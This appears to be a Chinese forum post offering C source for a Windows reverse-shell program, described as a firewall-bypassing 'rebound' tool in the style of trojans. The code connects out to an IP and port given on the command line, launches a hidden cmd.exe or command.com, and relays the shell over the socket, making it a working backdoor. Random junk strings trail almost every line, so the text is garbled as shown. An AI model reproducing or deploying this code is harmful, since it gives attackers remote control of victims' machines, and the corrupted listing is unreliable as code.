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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HRS^91aK  
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/* ============================== :08b&myx  
Rebound port in Windows NT l|TiUjs  
By wind,2006/7 D"UCe7  
===============================*/ [CTE"@A  
#include 2#%@j6  
#include SM;UNIRVE  
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#pragma comment(lib,"wsock32.lib") us%dw&   
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void OutputShell(); T?B753I  
SOCKET sClient; 0' j/ 9vm  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; -9W)|toWb"  
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void main(int argc,char **argv) .K%1{`.|  
{ Wwo'pke  
WSADATA stWsaData; Q"rQVO  
int nRet; W/e6O??O  
SOCKADDR_IN stSaiClient,stSaiServer; 2%o@?Rp  
b/"&E'5-`\  
if(argc != 3) "V|&s/9  
{ StZ GKY[Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); mu`:@7+Yp  
return; P`^3-X/  
} T)4pLN E  
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WSAStartup(MAKEWORD(2,2),&stWsaData); [[ {L#  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O\0]o!  
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stSaiClient.sin_family = AF_INET; mcO/V-\5'  
stSaiClient.sin_port = htons(0); UaA1HZ1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K X0{dizZ  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) QAN :  
{ `_"F7Czn  
printf("Bind Socket Failed!\n"); .l1uqCuB  
return; re}_+sv U  
} AIN Fv;  
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stSaiServer.sin_family = AF_INET; f0!i<9<  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TQ hu$z<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); )c432).Z  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ArK%?*`5  
{ =emcs%  
printf("Connect Error!"); q)N]*~  
return; e97Ll=>  
}  Q6qIx=c4  
OutputShell(); >`{B  
} +q<G%PwbV  
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void OutputShell() ,76xa%k(U|  
{ "|k 4<"]  
char szBuff[1024]; r~2>_LK  
SECURITY_ATTRIBUTES stSecurityAttributes; o*5iHa(Qm  
OSVERSIONINFO stOsversionInfo; Dt]N&E#\D  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l4O&*,}l##  
STARTUPINFO stStartupInfo; }.DE521u  
char *szShell; &d,!^9  
PROCESS_INFORMATION stProcessInformation; *Rx&#9  
unsigned long lBytesRead; UA0j#  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <y`M Upf]  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C srxi'Pe  
stSecurityAttributes.lpSecurityDescriptor = 0; Py72:;wn  
stSecurityAttributes.bInheritHandle = TRUE; -|.Izgc  
n5qg6(Tl]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v}`{OE:-J  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z~S%|{&Br  
=Ts5\1sc>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o(L8 -F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |$:y8H'J  
stStartupInfo.wShowWindow = SW_HIDE; {wL30D^  
stStartupInfo.hStdInput = hReadPipe; |^09ny|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [aS<u`/g|  
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GetVersionEx(&stOsversionInfo); fFe{oR   
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switch(stOsversionInfo.dwPlatformId) d8!yV~Ka  
{ $S6%a9m   
case 1: gfr+`4H>v  
szShell = "command.com"; % S vfY{  
break; uyqu n@q  
default: gJFx#s0?6.  
szShell = "cmd.exe"; zBjtPtiiI8  
break; fHV%.25  
} 3QF/{$65!  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); %iq8dAW%  
T1*%]6&V|  
send(sClient,szMsg,77,0); &# < M o  
while(1) G^%FP!'D?  
{ G2y`yg  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ? h |&kRq  
if(lBytesRead) 6k9cvMs%H  
{ Hy~+|hLvh  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Rt+ak}  
send(sClient,szBuff,lBytesRead,0); 8 \BGL  
} V1-URC24vd  
else N|5fkx<d^  
{ uB1>.Pvxb  
lBytesRead=recv(sClient,szBuff,1024,0); k[Ue}L|  
if(lBytesRead<=0) break; |L<p90  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Da3Z>/S  
} tv 7"4$T  
} h1 npaD!  
nRHxbE}::  
return; EA``G8Vn>  
}
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